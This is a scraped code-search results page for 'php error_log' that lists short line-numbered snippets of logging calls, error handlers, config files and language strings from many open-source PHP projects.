100+ results results for 'php error_log repo:ywarnier/chamilo-dev' (193 ms)
1<?php 2/** 58$_lang['perm.empty_cache_desc'] = 'Tömma webbplatsens cache.'; 59$_lang['perm.error_log_erase_desc'] = 'Radera felloggen.'; 60$_lang['perm.error_log_view_desc'] = 'Se felloggen.';Callback.php git://github.com/chregu/rss2twi.php.git | PHP | 320 lines
1<?php 2/** 23 */ 24require_once 'Zend/Feed/Pubsubhubbub.php'; 25 28 */ 29require_once 'Zend/Feed/Pubsubhubbub/CallbackAbstract.php'; 30 33 */ 34require_once 'Zend/Feed/Reader.php'; 35 90 { 91 error_log(__METHOD__.":".__LINE__); 92 144 */ 145 error_log(__METHOD__.":".__LINE__); 146adminPage.php http://phpfor.googlecode.com/svn/trunk/ | PHP | 356 lines
1<?php 2 6 * @package 7 * @version $Id: adminPage.php 1903 2008-04-24 07:06:22Z ever $ 8 * @copyright 2003-2007 ShopEx 12 13require('pageFactory.php'); 14 68 //echo "<pre>"; 69 //error_log(print_r($this->op->system->_in,true),3,"D:/2.txt"); 70 $oOpt = &$this->system->loadModel('admin/operator','config'); 94 if($type=='noaccount'){ 95 echo $url = 'index.php?ctl=passport&act=loginaccount';exit; 96 }else{ 96 }else{ 97 $url = 'index.php?ctl=passport&act=login'; 98 }index.php http://showslow.googlecode.com/svn/trunk/ | PHP | 435 lines
175 <td valign="top" align="center" class="<?php echo $provider_name ?>"> 176 <img src="http://chart.apis.google.com/chart?chs=225x108&cht=gom&chd=t:<?php echo urlencode($score)?>&chl=<?php echo urlencode($pretty_score.' ('.$score.')') ?>" alt="<?php echo $pretty_score ?> (<?php echo htmlentities($score)?>)" title="Current <?php echo $provider['title'] ?> <?php echo $provider['score_name'] ?>: <?php echo $pretty_score ?> (<?php echo htmlentities($score)?>)"/> 177 <div>Current <a target="_blank" href="<?php echo $provider['url'] ?>"><?php echo $provider['title'] ?></a> <?php echo $provider['score_name'] ?>: <b><?php echo $pretty_score ?> (<i><?php echo htmlentities($score)?></i>)</b></div> 277 { 278 ?><span title="<?php echo htmlentities($metric['description'])?>" style="color: <?php echo array_key_exists('color', $metric) ? $metric['color'] : 'black' ?>"><?php echo htmlentities($metric['title'])?></span> (<a href="data_metric.php?metric=<?php echo urlencode($name);?>&url=<?php echo urlencode($url);?>">csv</a>); 279<?php 335 <td><span id="details_<?php echo $provider_name.'_'.$metric[1] ?>" class="details"></span></td> 336 <td><div class="gbox" title="Current <?php echo $provider['score_name']?>: <?php echo $pretty_score?> (<?php echo $value?>%)"><div class="bar c<?php echo scoreColorStep($value)?>" style="width: <?php echo $value+1?>px"/></div></td> 337 <?php 366?> 367 <a name="pagespeed-table"/><h2>Page Speed measurements history (<a href="data_pagespeed.php?ver=<?php echo urlencode($row['pagespeed_timestamp'])?>&url=<?php echo urlencode($url)?>">csv</a>)</h2> 368 <div id="ps_measurementstable"></div> 415 416 <p>You can see latest HAR data in the viewer here: <a href="<?php echo htmlentities($HARViewerBase)?>?inputUrl=<?php echo urlencode($har_url) ?>" target="_blank">HAR for <?php echo htmlentities($url)?></a>.</p> 417core.php http://snowcms.googlecode.com/svn/trunk/ | PHP | 246 lines
57 { 58 api()->add_event('action=activate', 'activate_view', coredir. '/activate.php'); 59 } 64 api()->add_event('action=admin&sa=update&apply=*', 'admin_update_apply', coredir. '/admin/admin_update.php'); 65 api()->add_event('action=admin&sa=error_log', 'admin_error_log', coredir. '/admin/admin_error_log.php'); 66 api()->add_event('action=admin&sa=error_log&id=*', 'admin_error_log_view', coredir. '/admin/admin_error_log.php'); 68 api()->add_event('action=admin&sa=members_manage', 'admin_members_manage', coredir. '/admin/admin_members_manage.php'); 69 api()->add_event('action=admin&sa=members_permissions', 'admin_members_manage_permissions', coredir. '/admin/admin_members_permissions.php'); 70 api()->add_event('action=admin&sa=members_permissions&grp=*', 'admin_members_manage_group_permissions', coredir. '/admin/admin_members_permissions.php'); 79 api()->add_event('action=admin&sa=themes§ion=install', 'admin_themes_install', coredir. '/admin/admin_themes_install.php'); 80 api()->add_event('action=admin&sa=themes§ion=widgets', 'admin_themes_widgets', coredir. '/admin/admin_themes_widgets.php'); 81 api()->add_event('action=admin&sa=themes&install=*', 'admin_themes_perform_install', coredir. '/admin/admin_themes_install.php'); 81 api()->add_event('action=admin&sa=themes&install=*', 'admin_themes_perform_install', coredir. '/admin/admin_themes_install.php'); 82 api()->add_event('action=admin&sa=themes&update=*', 'admin_themes_update', coredir. '/admin/admin_themes_manage.php'); 83 api()->add_event('action=admin&sa=update', 'admin_update', coredir. '/admin/admin_update.php');NzbHandler_Nzbget.php git://github.com/spotweb/spotweb.git | PHP | 370 lines
1<?php 2 45 { 46 error_log("ERROR: Could not decode json-data for NZBGet method '" . $method ."'"); 47 throw new Exception("ERROR: Could not decode json-data for NZBGet method '" . $method ."'"); 52 { 53 error_log("NZBGet RPC: Method '" . $method . "', " . $response['error']['message'] . " (" . $response['error']['code'] . ")"); 54 throw new Exception("NZBGet RPC: Method '" . $method . "', " . $response['error']['message'] . " (" . $response['error']['code'] . ")");swx.php http://swx-format.googlecode.com/svn/trunk/ | PHP | 439 lines
84 85 // PHP 5 compatibility layer for PHP 4 86 include('lib/str_split.php'); 111 // Change to the service folder from here on. 112 // This works exactly like Amfphp to make sure that Amfphp and SWX 113 // services are compatible. 320 // array.) 321 if ($dataAsPhp === "undefined") $dataAsPhp = "[]"; 322 324 // way to do this?) 325 $dataAsPhp = str_replace('\\t', '\t', $dataAsPhp); 326 $dataAsPhp = str_replace('\\n', '\n', $dataAsPhp); 373 $j = new Services_JSON(); 374 $dataAsPhp = $j->decode($dataAsPhp); 375swx.php http://swx-format.googlecode.com/svn/trunk/ | PHP | 409 lines
84 // Change to the service folder from here on. 85 // This works exactly like Amfphp to make sure that Amfphp and SWX 86 // services are compatible. 297 // way to do this?) 298 $dataAsPhp = str_replace('\\t', '\t', $dataAsPhp); 299 $dataAsPhp = str_replace('\\n', '\n', $dataAsPhp); 299 $dataAsPhp = str_replace('\\n', '\n', $dataAsPhp); 300 $dataAsPhp = str_replace("\\'", "'", $dataAsPhp); 301 336 //$dataAsPhp = str_replace('undefined', 'NULL', $dataAsPhp); 337 $dataAsPhp = str_replace('null', 'NULL', $dataAsPhp); 338 346 $j = new Services_JSON(); 347 $dataAsPhp = $j->decode($dataAsPhp); 348tests_php git://pkgs.fedoraproject.org/lynis | Shell | 216 lines
24 PHPINILOCS="/etc/php.ini \ 25 /etc/php/cgi-php5/php.ini /etc/php/cli-php5/php.ini /etc/php/apache2-php5/php.ini \ 26 /etc/php5/cgi/php.ini /etc/php5/cli/php.ini /etc/php5/apache2/php.ini \ 28 /var/www/conf/php.ini \ 29 /usr/local/etc/php.ini /usr/local/lib/php.ini" 30 103 if [ ! "${PHPINIFILE}" = "" ]; then PREQS_MET="YES"; else PREQS_MET="NO"; fi 104 Register --test-no PHP-2372 --preqs-met ${PREQS_MET} --weight L --network NO --description "Check PHP expose_php option" 105 if [ ${SKIPTEST} -eq 0 ]; then 109 Display --indent 4 --text "- Checking expose_php option..." --result ON --color RED 110 ReportWarning ${TEST_NO} "M" "PHP option expose_php is possibly turned on, which can reveal useful information for attackers." 111 ReportSuggestion ${TEST_NO} "Change the expose_php line to: expose_php = Off" 167 if [ ! "${PHPINIFILE}" = "" ]; then PREQS_MET="YES"; else PREQS_MET="NO"; fi 168 Register --test-no PHP-2378 --preqs-met ${PREQS_MET} --weight L --network NO --description "Check PHP allow_url_include option" 169 if [ ${SKIPTEST} -eq 0 ]; thenbasicapiresponsehandlerdemo.php git://github.com/calvinfroedge/PHP-Payments.git | PHP | 168 lines
1<?php 2 31 chdir(".."); 32 require_once('library/googleresponse.php'); 33 require_once('library/googlemerchantcalculations.php'); 33 require_once('library/googlemerchantcalculations.php'); 34 require_once('library/googlerequest.php'); 35 require_once('library/googlenotificationhistory.php'); 36 37 define('RESPONSE_HANDLER_ERROR_LOG_FILE', 'googleerror.log'); 38 define('RESPONSE_HANDLER_LOG_FILE', 'googlemessage.log'); 53 $xml_response = isset($HTTP_RAW_POST_DATA)? 54 $HTTP_RAW_POST_DATA:file_get_contents("php://input"); 55PhpGenerator.html git://github.com/IronLanguages/main.git | HTML | 350 lines
58 <a href="../../files/erubis/engine/ephp_rb.html"> 59 erubis/engine/ephp.rb 60 </a> 133<pre> 134<span class="ruby-comment cmt"># File erubis/engine/ephp.rb, line 46</span> 135 <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">add_expr_debug</span>(<span class="ruby-identifier">src</span>, <span class="ruby-identifier">code</span>) 137 <span class="ruby-identifier">s</span> = <span class="ruby-identifier">code</span>.<span class="ruby-identifier">gsub</span>(<span class="ruby-regexp re">/\'/</span>, <span class="ruby-value str">"\\'"</span>) 138 <span class="ruby-identifier">src</span> <span class="ruby-operator"><<</span> <span class="ruby-node">"<?php error_log('*** debug: #{s}='.(#{code}), 0); ?>"</span> 139 <span class="ruby-keyword kw">end</span> 181<pre> 182<span class="ruby-comment cmt"># File erubis/engine/ephp.rb, line 37</span> 183 <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">add_expr_literal</span>(<span class="ruby-identifier">src</span>, <span class="ruby-identifier">code</span>) 184 <span class="ruby-identifier">code</span>.<span class="ruby-identifier">strip!</span> 185 <span class="ruby-identifier">src</span> <span class="ruby-operator"><<</span> <span class="ruby-node">"<?php echo #{code}; ?>"</span> 186 <span class="ruby-keyword kw">end</span>README.md git://github.com/laruence/yar.git | Markdown | 233 lines
7- PHP 7.0+ (master branch)) 8- PHP 5.2+ ([php5 branch](https://github.com/laruence/yar/tree/php5)) 9- Curl 35$/path/to/phpize 36$./configure --with-php-config=/path/to/php-config/ 37$make && make install 55$phpize 56$configure --with-php-config=/path/to/php-config/ --enable-msgpack 57$make && make install 61- yar.connect_timeout //default 1000 (ms) 62- yar.packager //default "php", when built with --enable-msgpack then default "msgpack", it should be one of "php", "json", "msgpack" 63- yar.debug //default Off 108```php 109<?php 110$client = new Yar_Client("http://host/api/");TestOfConsumerUserStream.php git://github.com/ginatrapani/ThinkUp.git | PHP | 201 lines
30require_once THINKUP_WEBAPP_PATH.'config.inc.php'; 31require_once THINKUP_WEBAPP_PATH.'_lib/extlib/simpletest/autorun.php'; 32 32 33require_once THINKUP_ROOT_PATH.'tests/classes/class.ThinkUpUnitTestCase.php'; 34require_once THINKUP_WEBAPP_PATH.'plugins/twitterrealtime/tests/classes/mock.Redis.php'; 35require_once THINKUP_WEBAPP_PATH.'plugins/twitterrealtime/model/class.ConsumerUserStream.php'; 36require_once THINKUP_WEBAPP_PATH.'plugins/twitterrealtime/model/class.StreamMessageQueue.php'; 37require_once THINKUP_WEBAPP_PATH.'plugins/twitterrealtime/model/class.StreamMessageQueueMySQL.php'; 65 if (! ($version[0] >= 5 && $version[1] >= 3)) { 66 //error_log("PHP version less than 5.3, Skipping Redis Tests..."); 67 return; 104 if (! ($version[0] >= 5 && $version[1] >= 3)) { 105 //error_log("PHP version less than 5.3, Skipping Redis Tests..."); 106 return;setup-mysql.sql http://snowcms.googlecode.com/svn/trunk/ | SQL | 206 lines
16## 17# Holds all the PHP errors which have occurred! 18## 18## 19CREATE TABLE `{db->prefix}error_log` 20( 112 113INSERT INTO `{db->prefix}permissions` (`group_id`, `permission`, `status`) VALUES('member', 'manage_system_settings', 0),('member', 'manage_themes', 0),('member', 'update_system', 0),('member', 'view_error_log', 0); 114INSERT INTO `{db->prefix}permissions` (`group_id`, `permission`, `status`) VALUES('member', 'add_new_member', 0),('member', 'manage_members', 0),('member', 'search_members', 0),('member', 'manage_member_settings', 0); 116INSERT INTO `{db->prefix}permissions` (`group_id`, `permission`, `status`) VALUES('member', 'view_other_profiles', 0),('member', 'edit_other_profiles', 0),('guest', 'manage_system_settings', -1),('guest', 'manage_themes', -1); 117INSERT INTO `{db->prefix}permissions` (`group_id`, `permission`, `status`) VALUES('guest', 'update_system', -1),('guest', 'view_error_log', -1),('guest', 'add_new_member', -1),('guest', 'manage_members', -1); 118INSERT INTO `{db->prefix}permissions` (`group_id`, `permission`, `status`) VALUES('guest', 'search_members', -1),('guest', 'manage_member_settings', -1),('guest', 'manage_permissions', -1),('guest', 'add_plugins', -1); 171 172INSERT INTO `{db->prefix}tasks` (`task_name`, `file`, `location`, `func`) VALUES('plugins_update_check', 'admin/admin_plugins_manage.php', 'coredir', 'admin_plugins_check_updates'); 173INSERT INTO `{db->prefix}tasks` (`task_name`, `file`, `location`, `func`) VALUES('themes_update_check', 'admin/admin_themes_manage.php', 'coredir', 'admin_themes_check_updates');basic_functions.h git://github.com/infusion/PHP.git | C Header | 251 lines
54#ifdef HAVE_INET_NTOP 55PHP_NAMED_FUNCTION(php_inet_ntop); 56#endif 57#ifdef HAVE_INET_PTON 58PHP_NAMED_FUNCTION(php_inet_pton); 59#endif 75 76PHP_FUNCTION(error_log); 77PHP_FUNCTION(error_get_last); 88PHP_FUNCTION(highlight_string); 89PHP_FUNCTION(php_strip_whitespace); 90ZEND_API void php_get_highlight_struct(zend_syntax_highlighter_ini *syntax_highlighter_ini); 142PHPAPI int _php_error_log(int opt_err, char *message, char *opt, char *headers TSRMLS_DC); 143PHPAPI int _php_error_log_ex(int opt_err, char *message, int message_len, char *opt, char *headers TSRMLS_DC); 144PHPAPI int php_prefix_varname(zval *result, zval *prefix, char *var_name, int var_name_len, zend_bool add_underscore TSRMLS_DC);login.class.php http://domuslink.googlecode.com/svn/trunk/ | PHP | 231 lines
1<?php 2/* 2/* 3 * domus.Link :: PHP Web-based frontend for Heyu (X10 Home Automation) 4 * Copyright (c) 2007, Istvan Hubay Cebrian (istvan.cebrian@domus.link.co.pt) 21 22require_once("userdb.class.php"); 23require_once("user.class.php"); 23require_once("user.class.php"); 24require_once(CLASS_FILE_LOCATION.'user.const.php'); 25 81 if(!empty($_SESSION["username"])) { 82 // error_log("session found in memory... "); 83 return true; 85 } 86 // error_log("no session found"); 87 return false;merge_dico.inc http://twpug.googlecode.com/svn/trunk/ | PHP | 209 lines
1<?php 2 76 //replace the file name by the translation file name 77 $file_name = ereg_replace("[^\\./]+.lang.php$", $translationKey.".lang.php", $sugar_lang_rec->file); 78 //values are the same key 89 90//error_log("VERSION : $version_id, PERFORM APPROX ".($perform_approx ? "Y" : "N")); 91 116 117//error_log("Cardinality dictionary ".count($idx_dico)); 118 125 msg("($count) translated values have been found in the 'To Translate' (sugar_lang_trx) table."); 126 msg("You should commit or clear the existing values in the <A href=totrx.php>To Translate module</A>."); 127 $arr_old_to_trx = query_db("SELECT ref FROM sugar_lang_trx where trx != ''"); 143 /*if ($i % 300 == 0) { 144 error_log (round((microtime(true) - $now) * 1000) . " : 300 Terms done " . $approx_count . " " . $notfound); 145 $now = microtime(true);PuSHSubscriber.inc https://bitbucket.org/rhizomatik/lorea_production/ | Pascal | 402 lines
1<?php 2 133 public function handleRequest($callback) { 134 /*error_log("SUBSCRIBE"); 135 error_log(PuSH_GET('hub_challenge')); 135 error_log(PuSH_GET('hub_challenge')); 136 error_log(get_input('hub.challenge')); 137 error_log(get_input('hub_challenge')); 137 error_log(get_input('hub_challenge')); 138 error_log(PuSH_GET('hub_challenge'));*/ 139 if (PuSH_GET('hub_challenge')) { 171 if ($_SERVER['REQUEST_METHOD'] == 'POST') { 172 $raw = file_get_contents('php://input'); 173 //error_log("raw".$raw); 179 $result = array(); 180 // error_log("pshb: ".$_SERVER['HTTP_X_HUB_SIGNATURE']); 181 parse_str($_SERVER['HTTP_X_HUB_SIGNATURE'], $result);Common.php git://github.com/Xeoncross/micromvc.git | PHP | 520 lines
1<?php 2/** 159/** 160 * Write to the application log file using error_log 161 * 169 // Append date and IP to log message 170 return error_log(date('H:i:s ') . getenv('REMOTE_ADDR') . " $message\n", 3, $path); 171} 214{ 215 // In PHP 5.4, http_build_query will support RFC 3986 216 return DOMAIN . ($path ? '/'. trim($path, '/') : PATH) 417/** 418 * Make sure that a directory exists and is writable by the current PHP process. 419 *yasnippet-perso.el https://code.google.com/p/marcshacks/ | Emacs Lisp | 163 lines
11 12 ErrorLog logs/$1-error_log 13 CustomLog logs/$1_log common 33 34 ErrorLog logs/$1-error_log 35 CustomLog logs/$1_log common 44 45(yas/define-snippets 'php-mode 46 '(("public" "public function execute$1(sfWebRequest $request) { 54 ("req" "$request" "request" nil nil) 55 ("__" "<?php echo __(\"$0\") ?>" "translate" nil nil))) 56 84 ("array" "array('$1' => $0)" "create array" nil nil) 85 ("__" "<?php echo __(\"$0\") ?>" "translate" nil nil) 86 ("slot" "<?php slot(\"$1\", \"$0\") ?>" "insert slot" nil nil)jpgraph_errhandler.inc.php http://mcmis.googlecode.com/svn/trunk/ | PHP | 369 lines
1<?php 2//======================================================================= 2//======================================================================= 3// File: JPGRAPH_ERRHANDLER.PHP 4// Description: Error handler class together with handling of localized 7// Created: 2006-09-24 8// Ver: $Id: jpgraph_errhandler.inc.php,v 1.1.1.1 2010-10-26 21:13:51 peter Exp $ 9// 27 GLOBAL $__jpg_err_locale; 28 $file = 'lang/'.$__jpg_err_locale.'.inc.php'; 29 34 35 $file = 'lang/'.$__jpg_err_locale.'.inc.php'; 36 if( !file_exists(dirname(__FILE__).'/'.$file) ) { 36 if( !file_exists(dirname(__FILE__).'/'.$file) ) { 37 die('Chosen locale file ("'.$file.'") for error messages does not exist or is not readable for the PHP process. Please make sure that the file exists and that the file permissions are such that the PHP process is allowed to read this file.'); 38 }permissions.inc.php git://github.com/modxcms/revolution.git | PHP | 192 lines
1<?php 2/** 58$_lang['perm.empty_cache_desc'] = 'Tühjanedada lehe puhver.'; 59$_lang['perm.error_log_erase_desc'] = 'Kustutata error logi.'; 60$_lang['perm.error_log_view_desc'] = 'Vaadata error logi.';SlightPHP.php http://slightphp.googlecode.com/svn/trunk/ | PHP | 296 lines
1<?php 2/*{{{LICENSE 3+-----------------------------------------------------------------------+ 4| SlightPHP Framework | 5+-----------------------------------------------------------------------+ 12+-----------------------------------------------------------------------+ 13| Supports: http://www.slightphp.com | 14+-----------------------------------------------------------------------+ 16/** 17 * @package SlightPHP 18 */ 18 */ 19if(!class_exists("SlightPHP",false)): 20final class SlightPHP{ 165 * appDir set && get 166 * IMPORTANT: you must set absolute path if you use extension mode(extension=SlightPHP.so) 167 *config.php git://github.com/RafeHatfield/SeaSentosaIII.git | PHP | 156 lines
1<?php 2 require_once($basepath . "FileManager/FileManagerPlugin.php"); 10 $mcFileManagerConfig['general.disabled_tools'] = ""; 11 $mcFileManagerConfig['general.error_log'] = ""; 12 $mcFileManagerConfig['general.language'] = "en"; // en, sv 41 $mcFileManagerConfig['filesystem.invalid_file_name_msg'] = ""; 42 $mcFileManagerConfig['filesystem.extensions'] = "gif,jpg,htm,html,pdf,zip,txt,php,png,swf,dcr,mov,qt,ram,rm,avi,mpg,mpeg,asf,flv,xls,xlsx,doc,docx,ppt,pptx"; 43 $mcFileManagerConfig['filesystem.file_templates'] = ''; 113 $mcFileManagerConfig['authenticator'] = "ExternalAuthenticator"; 114 $mcFileManagerConfig['authenticator.login_page'] = "login_session_auth.php"; 115 $mcFileManagerConfig['authenticator.allow_override'] = "*"; 138 $mcFileManagerConfig['stream.include_file_pattern'] = ''; 139 $mcFileManagerConfig['stream.exclude_file_pattern'] = '/\.php$|\.shtm$/i'; 140 $mcFileManagerConfig['stream.extensions'] = "*";notification.php https://bitbucket.org/rhizomatik/lorea_production/ | PHP | 485 lines
1<?php 2/** 126 if ((!$NOTIFICATION_HANDLERS[$method]) || (!$handler)) { 127 error_log(sprintf(elgg_echo('NotificationException:NoHandlerFound'), $method)); 128 } 141 } catch (Exception $e) { 142 error_log($e->getMessage()); 143 } 303 // Windows is somewhat broken, so we use just address for to and from 304 if (strtolower(substr(PHP_OS, 0 , 3)) == 'win') { 305 // strip name from to and from 356 global $CONFIG; 357 include($CONFIG->path . "actions/notifications/settings/usersettings/save.php"); 358}mainfile.php http://viet-group.googlecode.com/svn/trunk/ | PHP | 168 lines
52require_once ( NV_ROOTDIR . "/includes/constants.php" ); 53require_once ( NV_ROOTDIR . '/includes/timezone.php' ); 54 73$global_config['send_errors_list'] = NV_SEND_ERRORS_LIST; 74$global_config['error_log_path'] = NV_LOGS_DIR . '/error_logs'; 75$global_config['error_log_filename'] = NV_ERRORLOGS_FILENAME; 78//Ket noi voi class Error_handler 79require_once ( NV_ROOTDIR . '/includes/class/error.class.php' ); 80$ErrorHandler = new Error( $global_config ); 85require_once ( NV_ROOTDIR . '/includes/functions.php' ); 86require_once ( NV_ROOTDIR . '/includes/core/theme_functions.php' ); 87require_once ( NV_ROOTDIR . "/includes/class/xtemplate.class.php" ); 149define( 'NV_DOCUMENT_ROOT', $nv_Request->doc_root ); // D:/AppServ/www 150define( 'NV_EOL', ( strtoupper( substr( PHP_OS, 0, 3 ) == 'WIN' ) ? "\r\n" : ( strtoupper( substr( PHP_OS, 0, 3 ) == 'MAC' ) ? "\r" : "\n" ) ) ); //Ngat dong 151define( 'NV_UPLOADS_REAL_DIR', NV_ROOTDIR . '/' . NV_UPLOADS_DIR ); //Xac dinh duong dan thuc den thu muc uploadSwxAssemblerTest.php http://swx-format.googlecode.com/svn/trunk/ | PHP | 223 lines
1<?php 2require_once('../swx_config.php'); 3 4require_once('../core/swx/SwxAS2Assembler.php'); 5 113 114 // error_log('SSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS'); 115 123*/ 124 //error_log('EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE'); 125 146 // Test double to bytecode conversion 147 // Note: Not all float values generated by PHP and Flash will be 148 // entirely identical but, in testing, the slight difference in thesparkpagecache.php https://code.google.com/p/sparkplug-framework/ | PHP | 398 lines
1<?php 2 61 { 62 error_log('Could not load page cache: ' . $e->getMessage()); 63 }auth.php https://bitbucket.org/wez/mtrack/ | PHP | 353 lines
1<?php # vim:ts=2:sw=2:et: 2/* For licensing and copyright terms, see the file named LICENSE */ 3 4include_once MTRACK_INC_DIR . '/auth/mtrack.php'; 5include_once MTRACK_INC_DIR . '/auth/anon.php'; 5include_once MTRACK_INC_DIR . '/auth/anon.php'; 6include_once MTRACK_INC_DIR . '/auth/http.php'; 7include_once MTRACK_INC_DIR . '/auth/openid.php'; 7include_once MTRACK_INC_DIR . '/auth/openid.php'; 8include_once MTRACK_INC_DIR . '/auth/browserid.php'; 9include_once MTRACK_INC_DIR . '/auth/facebook.php'; 119 * the console */ 120 if (php_sapi_name() == 'cli') { 121 static $envs = array('MTRACK_LOGNAME', 'LOGNAME', 'USER'); 158 } catch (Exception $e) { 159 if (php_sapi_name() != 'cli') { 160 header('HTTP/1.0 401 Unauthorized');german.inc.php https://code.google.com/p/phpids-for-modx/ | PHP | 99 lines
47 'caption_tab_extended' => 'Erweiterte Optionen', 48 'caption_error_log' => 'PHPIDS Modul', 49 'text_error_log' => 'Ein Fehler trat in der Datei %1$s auf in Zeile %2$d: %3$s', 60 'date_time_format' => 'd.m.Y H:i', 61 'caption_link_phpids_trunk' => 'Mehr Informationen auf PHPIDS', 62 'caption_news' => 'PHPIDS for MODx News', 65 'title_infosniper' => 'Information über die IP Adresse %s auf Infosniper.net', 66 'title_test_on_phpids' => 'Smoke Test des Angriffes auf PHPIDS', 67 'caption_download_csv' => 'Download Intrusions als CSV Datei', 68 'message_error_autoupdate' => 'PHPIDS-Update: Ein Fehler ist aufgetreten: %s', 69 'message_error_updatedownload' => 'PHPIDS-Update: SHA1-hash des Downloads (%1$s) ist falsch! (Download nicht möglich oder Man-in-the-Middle). SHA1 der Datei im trunk: %2$s, SHA1, provided by phpids.org: %3$s', 70 'caption_update_filter' => 'Filter:', 73 'caption_last_update_local' => 'Letzte lokale Änderung: <strong>%s</strong>', 74 'caption_last_update_phpids' => 'Letzte Änderung auf phpids.org: <strong>%s</strong>', 75 'caption_hash' => 'SHA-1 Hash: <br /> <code>%s</code>',elgg.class.php https://bitbucket.org/rhizomatik/lorea_production/ | PHP | 353 lines
1<?php 2/** 10define('DOKU_AUTH', dirname(__FILE__)); 11require_once(DOKU_AUTH.'/basic.class.php'); 12 12 13//define('AUTH_USERFILE',DOKU_CONF.'users.auth.php'); 14 73 $user = get_user_by_username($username); 74 //error_log("getUserData:".$username); 75 if (!$user) 76 return false; 77 //error_log("getUserData:".$username); 78 $page_owner = page_owner_entity(); 83 $grps[] = "root"; 84 //error_log('operator'); 85 }uploader_v2.php http://ditag.googlecode.com/svn/trunk/ | PHP | 439 lines
1<?php 2 2 3$self = $_SERVER['PHP_SELF']; 4 4 5require_once("db_login_test.php"); 6require_once("DB.php"); 60 $tags = explode(";", $tag_str); 61 error_log("tag_str is $tag_str"); 62 198 } 199 error_log("gonna update tags"); 200 403 404 error_log("in update tags"); 405 error_log("pre tag list is . $pre_tag_list");Headlines.php http://display-ui.googlecode.com/svn/trunk/ | PHP | 156 lines
1<?php 2/** 21 * @license http://code.google.com/p/display-ui/wiki/License Apache License 2.0 22 * @version $Id: Headlines.php 437 2011-06-21 06:23:04Z frederickjding $ 23 */ 63 $result = $select->query()->fetchAll(Zend_Db::FETCH_ASSOC); 64 // error_log($select->assemble()); 65 return $result; 99 // Oops, debugging code. 100 // error_log($query->assemble()); 101 if (is_int($_admin))index.php http://viet-group.googlecode.com/svn/trunk/ | PHP | 719 lines
25 26require_once ( NV_ROOTDIR . "/modules/users/language/" . NV_LANG_DATA . ".php" ); 27require_once ( NV_ROOTDIR . "/language/" . NV_LANG_DATA . "/install.php" ); 34 //Bat dau phien lam viec cua MySQL 35 require_once ( NV_ROOTDIR . '/includes/class/mysql.class.php' ); 36 $db_config['new_link'] = NV_MYSQL_NEW_LINK; 46{ 47 Header( "Location: " . NV_BASE_SITEURL . "install/index.php?" . NV_LANG_VARIABLE . "=" . NV_LANG_DATA . "&step=1" ); 48 exit(); 130{ 131 $array_dir = array( NV_SESSION_SAVE_PATH, NV_LOGS_DIR, NV_LOGS_DIR . "/data_logs", NV_LOGS_DIR . "/dump_backup", NV_LOGS_DIR . "/error_logs", NV_LOGS_DIR . "/error_logs/errors256", NV_LOGS_DIR . "/error_logs/old", NV_LOGS_DIR . "/error_logs/tmp", NV_LOGS_DIR . "/ip_logs", NV_LOGS_DIR . "/ref_logs", NV_LOGS_DIR . "/voting_logs", NV_CACHEDIR, NV_UPLOADS_DIR, NV_TEMP_DIR, NV_FILES_DIR, NV_FILES_DIR . "/css", NV_FILES_DIR . "/js", NV_DATADIR ); 132 $array_file_data = nv_scandir( NV_ROOTDIR . "/" . NV_DATADIR, "/^([a-zA-Z0-9\-\_\.]+)\.([a-z0-9]{2,6})$/" ); 175 { 176 $check_files = array( NV_CACHEDIR, NV_DATADIR, "images", "includes", "index.php", "js", "language", NV_LOGS_DIR, "mainfile.php", "modules", NV_SESSION_SAVE_PATH, "themes", NV_TEMP_DIR, NV_UPLOADS_DIR ); 177 $list_files = ftp_nlist( $conn_id, "." );error.class.php http://viet-group.googlecode.com/svn/trunk/ | PHP | 430 lines
104 $this->send_errors_list = $this->parse_error_num( ( int )$config['send_errors_list'] ); 105 $this->error_log_path = $this->get_error_log_path( ( string )$config['error_log_path'] ); 106 $this->error_send_mail = ( string )$config['error_send_email']; 115 } 116 if ( isset( $config['error_log_fileext'] ) and preg_match( "/[a-z]+/i", $config['error_log_fileext'] ) ) 117 { 349 $content .= "\r\n"; 350 $error_log_file = $this->error_log_path . '/' . $this->day . '_' . $this->error_log_filename . '.' . $this->error_log_fileext; 351 error_log( $content, 3, $error_log_file ); 363 $content .= "\r\n"; 364 $error_log_file = $this->error_log_path . '/sendmail.' . $this->error_log_fileext; 365 error_log( $content, 3, $error_log_file ); 401 $track_errors = $this->day . '_' . md5( $this->errno . ( string )$this->errfile . ( string )$this->errline . $this->ip ); 402 $track_errors = $this->error_log_tmp . '/' . $track_errors . '.' . $this->error_log_fileext; 403mainfile.php http://viet-group.googlecode.com/svn/trunk/ | PHP | 474 lines
90 $forum_files = @scandir( NV_ROOTDIR . '/' . DIR_FORUM . '/nukeviet' ); 91 if ( ! empty( $forum_files ) and in_array( 'is_user.php', $forum_files ) and in_array( 'changepass.php', $forum_files ) and in_array( 'editinfo.php', $forum_files ) and in_array( 'login.php', $forum_files ) and in_array( 'logout.php', $forum_files ) and in_array( 'lostpass.php', $forum_files ) and in_array( 'register.php', $forum_files ) ) 92 { 128$global_config['send_errors_list'] = NV_SEND_ERRORS_LIST; 129$global_config['error_log_path'] = NV_LOGS_DIR . '/error_logs'; 130$global_config['error_log_filename'] = NV_ERRORLOGS_FILENAME; 130$global_config['error_log_filename'] = NV_ERRORLOGS_FILENAME; 131$global_config['error_log_fileext'] = NV_LOGS_EXT; 132 143//Ket noi voi cac file cau hinh, function va template 144require_once ( NV_ROOTDIR . "/includes/ini.php" ); 145require_once ( NV_ROOTDIR . '/includes/functions.php' ); 206define( 'NV_DOCUMENT_ROOT', $nv_Request->doc_root ); // D:/AppServ/www 207define( 'NV_EOL', ( strtoupper( substr( PHP_OS, 0, 3 ) == 'WIN' ) ? "\r\n" : ( strtoupper( substr( PHP_OS, 0, 3 ) == 'MAC' ) ? "\r" : "\n" ) ) ); //Ngat dong 208define( 'NV_UPLOAD_MAX_FILESIZE', min( nv_converttoBytes( ini_get( 'upload_max_filesize' ) ), nv_converttoBytes( ini_get( 'post_max_size' ) ), $global_config['nv_max_size'] ) );setting.php http://coderstalk.googlecode.com/svn/trunk/ | PHP | 715 lines
